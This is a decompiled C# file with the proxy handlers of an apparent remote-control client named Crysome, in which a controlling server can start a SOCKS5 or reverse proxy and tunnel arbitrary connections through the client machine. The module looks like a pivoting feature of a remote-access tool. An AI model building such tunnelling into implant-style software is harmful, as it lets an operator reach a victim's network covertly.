316 lines
8.6 KiB
C#
316 lines
8.6 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class ProxyHandlers
|
|
{
|
|
private static TcpListener _socksListener;
|
|
|
|
private static volatile bool _running;
|
|
|
|
private static CrysomeClient _serverClient;
|
|
|
|
private static volatile bool _reverseProxyMode;
|
|
|
|
private static readonly ConcurrentDictionary<int, ReverseProxyStream> _reverseProxyStreams = new ConcurrentDictionary<int, ReverseProxyStream>();
|
|
|
|
public static void HandleStartProxy(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00f3: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00fd: Expected O, but got Unknown
|
|
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0027: Expected O, but got Unknown
|
|
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0042: Expected O, but got Unknown
|
|
//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00de: Expected O, but got Unknown
|
|
_ = (StartProxyRequestPacket)packet;
|
|
_serverClient = client;
|
|
if (_reverseProxyMode)
|
|
{
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy active"));
|
|
return;
|
|
}
|
|
if (_running)
|
|
{
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy already running"));
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
_socksListener = new TcpListener(IPAddress.Loopback, 0);
|
|
_socksListener.Start();
|
|
int port = ((IPEndPoint)_socksListener.LocalEndpoint).Port;
|
|
_running = true;
|
|
Program.Log("SOCKS5 proxy started on port " + port);
|
|
Thread thread = new Thread((ThreadStart)delegate
|
|
{
|
|
AcceptLoop();
|
|
});
|
|
thread.IsBackground = true;
|
|
thread.Start();
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy active on port " + port));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Failed: " + ex.Message));
|
|
}
|
|
}
|
|
|
|
public static void HandleStartReverseProxy(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
//IL_00b5: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00bf: Expected O, but got Unknown
|
|
StartReverseProxyPacket val = (StartReverseProxyPacket)packet;
|
|
_running = false;
|
|
try
|
|
{
|
|
_socksListener?.Stop();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
_socksListener = null;
|
|
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
|
|
keyValuePair.Value.CloseFromRemote();
|
|
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
|
|
}
|
|
_reverseProxyMode = true;
|
|
_serverClient = client;
|
|
Program.Log("Reverse proxy mode: use 127.0.0.1:" + val.ServerPort + " on the server");
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy ready on 127.0.0.1:" + val.ServerPort));
|
|
}
|
|
|
|
public static void HandleStopProxy(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0087: Expected O, but got Unknown
|
|
_running = false;
|
|
_reverseProxyMode = false;
|
|
try
|
|
{
|
|
_socksListener?.Stop();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
_socksListener = null;
|
|
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
|
|
keyValuePair.Value.CloseFromRemote();
|
|
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
|
|
}
|
|
Program.Log("SOCKS5 proxy stopped");
|
|
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Proxy stopped"));
|
|
}
|
|
|
|
public static void HandleReverseProxyStart(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0014: Expected O, but got Unknown
|
|
ReverseProxyStartPacket val = (ReverseProxyStartPacket)packet;
|
|
int connId = val.ConnectionId;
|
|
ReverseProxyStream stream = new ReverseProxyStream(delegate(byte[] data)
|
|
{
|
|
//IL_000d: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0017: Expected O, but got Unknown
|
|
try
|
|
{
|
|
client.SendPacket((IPacket)new ReverseProxyDataPacket(connId, data));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
});
|
|
if (!_reverseProxyStreams.TryAdd(connId, stream))
|
|
{
|
|
stream.CloseFromRemote();
|
|
return;
|
|
}
|
|
Thread thread = new Thread((ThreadStart)delegate
|
|
{
|
|
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_004d: Expected O, but got Unknown
|
|
try
|
|
{
|
|
HandleSocksClientFromStream(stream, connId, client);
|
|
}
|
|
finally
|
|
{
|
|
_reverseProxyStreams.TryRemove(connId, out var _);
|
|
stream.CloseFromRemote();
|
|
try
|
|
{
|
|
client.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
});
|
|
thread.IsBackground = true;
|
|
thread.Start();
|
|
}
|
|
|
|
public static void HandleReverseProxyData(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
|
|
if (_reverseProxyStreams.TryGetValue(val.ConnectionId, out var value))
|
|
{
|
|
value.Push(val.Data);
|
|
}
|
|
}
|
|
|
|
public static void HandleReverseProxyEnd(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
|
|
if (_reverseProxyStreams.TryRemove(val.ConnectionId, out var value))
|
|
{
|
|
value.CloseFromRemote();
|
|
}
|
|
}
|
|
|
|
private static void AcceptLoop()
|
|
{
|
|
while (_running)
|
|
{
|
|
try
|
|
{
|
|
TcpClient inbound = _socksListener.AcceptTcpClient();
|
|
Thread thread = new Thread((ThreadStart)delegate
|
|
{
|
|
HandleSocksClient(inbound);
|
|
});
|
|
thread.IsBackground = true;
|
|
thread.Start();
|
|
}
|
|
catch
|
|
{
|
|
if (!_running)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private static void HandleSocksClient(TcpClient inbound)
|
|
{
|
|
try
|
|
{
|
|
HandleSocksClientFromStream(inbound.GetStream(), -1, null);
|
|
inbound.Close();
|
|
}
|
|
catch
|
|
{
|
|
try
|
|
{
|
|
inbound.Close();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
private static void HandleSocksClientFromStream(Stream stream, int connectionId, CrysomeClient client)
|
|
{
|
|
try
|
|
{
|
|
byte[] array = new byte[256];
|
|
if (stream.Read(array, 0, array.Length) < 2 || array[0] != 5)
|
|
{
|
|
return;
|
|
}
|
|
stream.Write(new byte[2] { 5, 0 }, 0, 2);
|
|
if (stream.Read(array, 0, array.Length) >= 7 && array[0] == 5 && array[1] == 1)
|
|
{
|
|
string text = "";
|
|
int port = 0;
|
|
if (array[3] == 1)
|
|
{
|
|
text = array[4] + "." + array[5] + "." + array[6] + "." + array[7];
|
|
port = (array[8] << 8) | array[9];
|
|
}
|
|
else if (array[3] == 3)
|
|
{
|
|
int num = array[4];
|
|
text = Encoding.ASCII.GetString(array, 5, num);
|
|
port = (array[5 + num] << 8) | array[6 + num];
|
|
}
|
|
else if (array[3] == 4)
|
|
{
|
|
return;
|
|
}
|
|
Program.Log("SOCKS5 connect: " + text + ":" + port);
|
|
TcpClient tcpClient = new TcpClient();
|
|
tcpClient.Connect(text, port);
|
|
byte[] array2 = new byte[10] { 5, 0, 0, 1, 0, 0, 0, 0, 0, 0 };
|
|
stream.Write(array2, 0, array2.Length);
|
|
NetworkStream remoteStream = tcpClient.GetStream();
|
|
Thread thread = new Thread((ThreadStart)delegate
|
|
{
|
|
Relay(stream, remoteStream);
|
|
})
|
|
{
|
|
IsBackground = true
|
|
};
|
|
Thread obj = new Thread((ThreadStart)delegate
|
|
{
|
|
Relay(remoteStream, stream);
|
|
})
|
|
{
|
|
IsBackground = true
|
|
};
|
|
thread.Start();
|
|
obj.Start();
|
|
thread.Join();
|
|
obj.Join();
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void Relay(Stream from, Stream to)
|
|
{
|
|
try
|
|
{
|
|
byte[] array = new byte[8192];
|
|
int count;
|
|
while ((count = from.Read(array, 0, array.Length)) > 0)
|
|
{
|
|
to.Write(array, 0, count);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|